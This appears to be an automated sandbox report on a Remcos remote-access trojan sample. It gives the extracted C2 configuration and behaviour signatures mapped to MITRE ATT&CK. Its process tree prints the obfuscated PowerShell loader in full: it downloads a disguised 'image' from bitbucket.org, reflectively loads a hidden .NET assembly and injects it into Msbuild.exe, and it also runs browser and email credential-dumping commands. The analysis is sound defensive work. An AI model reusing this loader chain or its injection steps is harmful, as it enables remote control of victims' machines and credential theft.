remcos | ad2d7654ab36d32f4c07992d995163624df810591a8a62a5bb6708a491734f98

Analysis

max time kernel
149s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
23/08/2024, 02:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ad2d7654ab36d32f4c07992d995163624df810591a8a62a5bb6708a491734f98.exe
Size

160KB
MD5

ca811679ed43268456b3e323cae3ed70
SHA1

c0056591460dff8c5a163f6ce0ec7b22d469a4cb
SHA256

ad2d7654ab36d32f4c07992d995163624df810591a8a62a5bb6708a491734f98
SHA512

147ef3311cb53a1efab3d4d05465758d3bee8e040867edb731e385a5c07939ed94008225b790f258f5ee4649cf1d0856d0f32f266fc7cd4797ac7dd4738a789f
SSDEEP

3072:4ahKyd2n31ui5GWp1icKAArDZz4N9GhbkrNEk1uiUT:4ahOw0p0yN90QEZi4

Score

10^/10

remcos hst2 collection credential_access discovery execution persistence rat stealer

Malware Config

Extracted

Family

remcos

Botnet

HST2

111.90.148.123:2404

111.90.148.123:80

111.90.148.123:8080

111.90.148.123:5651

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
swasf-IQB1JV
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral1/memory/3280-69-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/1064-66-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral1/memory/2060-65-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral1/memory/1064-66-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral1/memory/2060-65-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
7	2112	powershell.exe
9	2112	powershell.exe
33	2112	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2112	powershell.exe
1524	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
312	word.exe

Loads dropped DLL 2 IoCs

pid	Process
312	word.exe
1872	word.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Msbuild.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	ad2d7654ab36d32f4c07992d995163624df810591a8a62a5bb6708a491734f98.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	bitbucket.org
6	bitbucket.org

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\lumbus\fetlock.lnk	word.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1872	word.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
312	word.exe
1872	word.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 2112 set thread context of 2396	2112	powershell.exe	101
PID 2396 set thread context of 2652	2396	Msbuild.exe	103
PID 2396 set thread context of 2060	2396	Msbuild.exe	104
PID 2396 set thread context of 1064	2396	Msbuild.exe	105
PID 2396 set thread context of 3280	2396	Msbuild.exe	106
PID 312 set thread context of 1872	312	word.exe	110

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	word.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	word.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral1/files/0x00070000000234d1-50.dat	nsis_installer_1
behavioral1/files/0x00070000000234d1-50.dat	nsis_installer_2

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	word.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	word.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
1524	powershell.exe
1524	powershell.exe
2112	powershell.exe
2112	powershell.exe
2060	Msbuild.exe
2060	Msbuild.exe
3280	Msbuild.exe
3280	Msbuild.exe
2060	Msbuild.exe
2060	Msbuild.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe
1872	word.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
2396	Msbuild.exe
2396	Msbuild.exe
2396	Msbuild.exe
2396	Msbuild.exe
312	word.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1524	powershell.exe
Token: SeDebugPrivilege	2112	powershell.exe
Token: SeDebugPrivilege	3280	Msbuild.exe
Token: SeDebugPrivilege	1872	word.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2396	Msbuild.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 2852 wrote to memory of 3812	2852	ad2d7654ab36d32f4c07992d995163624df810591a8a62a5bb6708a491734f98.exe	84
PID 2852 wrote to memory of 3812	2852	ad2d7654ab36d32f4c07992d995163624df810591a8a62a5bb6708a491734f98.exe	84
PID 3812 wrote to memory of 3388	3812	cmd.exe	86
PID 3812 wrote to memory of 3388	3812	cmd.exe	86
PID 3388 wrote to memory of 1524	3388	WScript.exe	87
PID 3388 wrote to memory of 1524	3388	WScript.exe	87
PID 1524 wrote to memory of 2112	1524	powershell.exe	89
PID 1524 wrote to memory of 2112	1524	powershell.exe	89
PID 2112 wrote to memory of 2396	2112	powershell.exe	101
PID 2112 wrote to memory of 2396	2112	powershell.exe	101
PID 2112 wrote to memory of 2396	2112	powershell.exe	101
PID 2112 wrote to memory of 2396	2112	powershell.exe	101
PID 2112 wrote to memory of 2396	2112	powershell.exe	101
PID 2112 wrote to memory of 2396	2112	powershell.exe	101
PID 2112 wrote to memory of 2396	2112	powershell.exe	101
PID 2112 wrote to memory of 2396	2112	powershell.exe	101
PID 2112 wrote to memory of 2396	2112	powershell.exe	101
PID 2112 wrote to memory of 2396	2112	powershell.exe	101
PID 2112 wrote to memory of 2396	2112	powershell.exe	101
PID 2112 wrote to memory of 2396	2112	powershell.exe	101
PID 2396 wrote to memory of 312	2396	Msbuild.exe	102
PID 2396 wrote to memory of 312	2396	Msbuild.exe	102
PID 2396 wrote to memory of 312	2396	Msbuild.exe	102
PID 2396 wrote to memory of 2652	2396	Msbuild.exe	103
PID 2396 wrote to memory of 2652	2396	Msbuild.exe	103
PID 2396 wrote to memory of 2652	2396	Msbuild.exe	103
PID 2396 wrote to memory of 2652	2396	Msbuild.exe	103
PID 2396 wrote to memory of 2060	2396	Msbuild.exe	104
PID 2396 wrote to memory of 2060	2396	Msbuild.exe	104
PID 2396 wrote to memory of 2060	2396	Msbuild.exe	104
PID 2396 wrote to memory of 2060	2396	Msbuild.exe	104
PID 2396 wrote to memory of 1064	2396	Msbuild.exe	105
PID 2396 wrote to memory of 1064	2396	Msbuild.exe	105
PID 2396 wrote to memory of 1064	2396	Msbuild.exe	105
PID 2396 wrote to memory of 1064	2396	Msbuild.exe	105
PID 2396 wrote to memory of 3280	2396	Msbuild.exe	106
PID 2396 wrote to memory of 3280	2396	Msbuild.exe	106
PID 2396 wrote to memory of 3280	2396	Msbuild.exe	106
PID 2396 wrote to memory of 3280	2396	Msbuild.exe	106
PID 312 wrote to memory of 1872	312	word.exe	110
PID 312 wrote to memory of 1872	312	word.exe	110
PID 312 wrote to memory of 1872	312	word.exe	110
PID 312 wrote to memory of 1872	312	word.exe	110
PID 312 wrote to memory of 1872	312	word.exe	110

C:\Users\Admin\AppData\Local\Temp\ad2d7654ab36d32f4c07992d995163624df810591a8a62a5bb6708a491734f98.exe
"C:\Users\Admin\AppData\Local\Temp\ad2d7654ab36d32f4c07992d995163624df810591a8a62a5bb6708a491734f98.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2852
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c plk.vbs
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3812
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\plk.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3388
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#LgBq#H##Zw#/#DE#MQ#4#DE#MQ#3#DM#NQ#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBi#Gk#d#Bi#HU#YwBr#GU#d##u#G8#cgBn#C8#a#Bn#GQ#ZgBo#GQ#ZgBn#GQ#LwB0#GU#cwB0#C8#Z#Bv#Hc#bgBs#G8#YQBk#HM#LwBu#GU#dwBf#Gk#bQBh#Gc#ZQ#u#Go#c#Bn#D8#MQ#0#DQ#N##x#Dc#Mg#z#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#D0#I#BE#G8#dwBu#Gw#bwBh#GQ#R#Bh#HQ#YQBG#HI#bwBt#Ew#aQBu#Gs#cw#g#CQ#b#Bp#G4#awBz#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##t#G4#ZQ#g#CQ#bgB1#Gw#b##p#C##ew#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#UwBU#EE#UgBU#D4#Pg#n#Ds#I##k#GU#bgBk#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#p#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#GU#bgBk#EY#b#Bh#Gc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##LQBn#GU#I##w#C##LQBh#G4#Z##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQBn#HQ#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#KQ#g#Hs#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##r#D0#I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C4#T#Bl#G4#ZwB0#Gg#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#C##PQ#g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQ#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#UwB1#GI#cwB0#HI#aQBu#Gc#K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#L##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#EM#bwBu#HY#ZQBy#HQ#XQ#6#Do#RgBy#G8#bQBC#GE#cwBl#DY#N#BT#HQ#cgBp#G4#Zw#o#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##p#Ds#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#UgBl#GY#b#Bl#GM#d#Bp#G8#bg#u#EE#cwBz#GU#bQBi#Gw#eQBd#Do#OgBM#G8#YQBk#Cg#J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#p#Ds#I##k#HQ#eQBw#GU#I##9#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#LgBH#GU#d#BU#Hk#c#Bl#Cg#JwB0#GU#cwB0#H##bwB3#GU#cgBz#Gg#ZQBs#Gw#LgBI#G8#bQBl#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#G0#ZQB0#Gg#bwBk#C##PQ#g#CQ#d#B5#H##ZQ#u#Ec#ZQB0#E0#ZQB0#Gg#bwBk#Cg#JwBs#GE#Jw#p#C4#SQBu#HY#bwBr#GU#K##k#G4#dQBs#Gw#L##g#Fs#bwBi#Go#ZQBj#HQ#WwBd#F0#I##o#Cc#d#B4#HQ#Lg#w#DI#YgBn#C8#cwBk#GE#bwBs#G4#dwBv#GQ#LwB3#HE#d#By#GU#d#By#GU#LwBr#HI#dQBy#GU#bQBs#HU#cg#v#Gc#cgBv#C4#d#Bl#Gs#YwB1#GI#d#Bp#GI#Lw#v#Do#cwBw#HQ#d#Bo#Cc#L##g#Cc#M##n#Cw#I##n#FM#d#Bh#HI#d#B1#H##TgBh#G0#ZQ#n#Cw#I##n#E0#cwBi#HU#aQBs#GQ#Jw#s#C##Jw#w#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1524
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?11811735', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.02bg/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'StartupName', 'Msbuild', '0'))}}"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2112
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
        6⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2396
        
        C:\Users\Admin\AppData\Local\Temp\word.exe
        
        "C:\Users\Admin\AppData\Local\Temp\word.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:312
        
        C:\Users\Admin\AppData\Local\Temp\word.exe
        
        "C:\Users\Admin\AppData\Local\Temp\word.exe"
        8⤵
        Loads dropped DLL
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1872
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2652
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\ekgidxetdleumdkhlbuidxwssbr"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2060
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\ofmbvqpnrtwzxjylcmocojjbbhasbx"
        7⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:1064
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\zzzmwizofboezquplwbdrodscosbciwzsv"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3280

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:4248

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
a456c1b0e2b3111213255f065f148f16

SHA1
6d7153ac919a84ce4156875853635c2a4830e1c4

SHA256
9c77b2ba865691e6001d715e2670fa1969be29970ccc51318101670c211b5968

SHA512
d2cd394a5fe95844372c3a566ea432a000a706ed34b475f01dad567a724b6db31298fd2eff1f6edc850a4a8504fbfe274cda245dde819e50302c7a3c85c4c9d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
906a96ab3d13d754809f312628f6e4ac

SHA1
4f1f3d49c788e5736c31904eaf4683ea4e8683c6

SHA256
69f03040bf4208bbfc3617a35799ad9897c2235df7832dc7687c8b91ef2f99e8

SHA512
a0f5fad77325a869edb9a80beb4f2604c5f6d5af652f21a2283e366cd32d42f6fb2f4761d596c6a77a2d83fda4ab52d9a645aedbce5295223c0e30faf306a851

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\plk.vbs

Filesize
14KB

MD5
829c19ba614bfb355d2c657512b7d769

SHA1
a08b93c5d6c3ccc7613ec6b2db1de270938d8e25

SHA256
dc7e9c0d0f83a1750c276d17502e0a418d7f37fddc5e78c1cbb8f4a2883252df

SHA512
1f535cc744a68da9553081a8c6c8a4073bcf1b3c52db6a89ea19e3cfc5a82bfb50abd5c4c51bc0fd8a43cd91cba7fa7cfd5ab191e5184b6691e12a40bf40177f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dlklhqad.yxn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ekgidxetdleumdkhlbuidxwssbr

Filesize
4KB

MD5
16f4f7c4051f4bbdaa93a1ca80690065

SHA1
750cacbdd2d089a88119374560d6ac004954e90e

SHA256
6c4559e4413cccaeab73cad48ffd804506c95566e4d6a3f5ae64017a33ea6ec2

SHA512
cb0f68d393ad03a5c802a2978ff7b12e20911bac5e27200c2df16d5d3f63dfc2387c0cd1a9075d8e4ba9ae804a6b61225575e2f42b3ef024e863d5b172417964

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsm16F0.tmp\System.dll

Filesize
11KB

MD5
883eff06ac96966270731e4e22817e11

SHA1
523c87c98236cbc04430e87ec19b977595092ac8

SHA256
44e5dfd551b38e886214bd6b9c8ee913c4c4d1f085a6575d97c3e892b925da82

SHA512
60333253342476911c84bbc1d9bf8a29f811207787fdd6107dce8d2b6e031669303f28133ffc811971ed7792087fe90fb1faabc0af4e91c298ba51e28109a390

Download Submit
C:\Users\Admin\AppData\Local\Temp\word.exe

Filesize
704KB

MD5
0ea4553778672b58bbd711fb039552c8

SHA1
8487f359428f19444696ce610ed81c6b4dd56a6a

SHA256
910ae266eb8177aa46e2a2c77029e57b30d7aaa819c3b8451514bf1b1ae26f8d

SHA512
e486dd7cb705e336c8b7e014b2dd53faf881b74aadb6045d8fd73b59972f95dfbcfe1f58847c7d1d080849e86344fceadb4af3de85f12d8374c966645c50dd2c

Download Submit
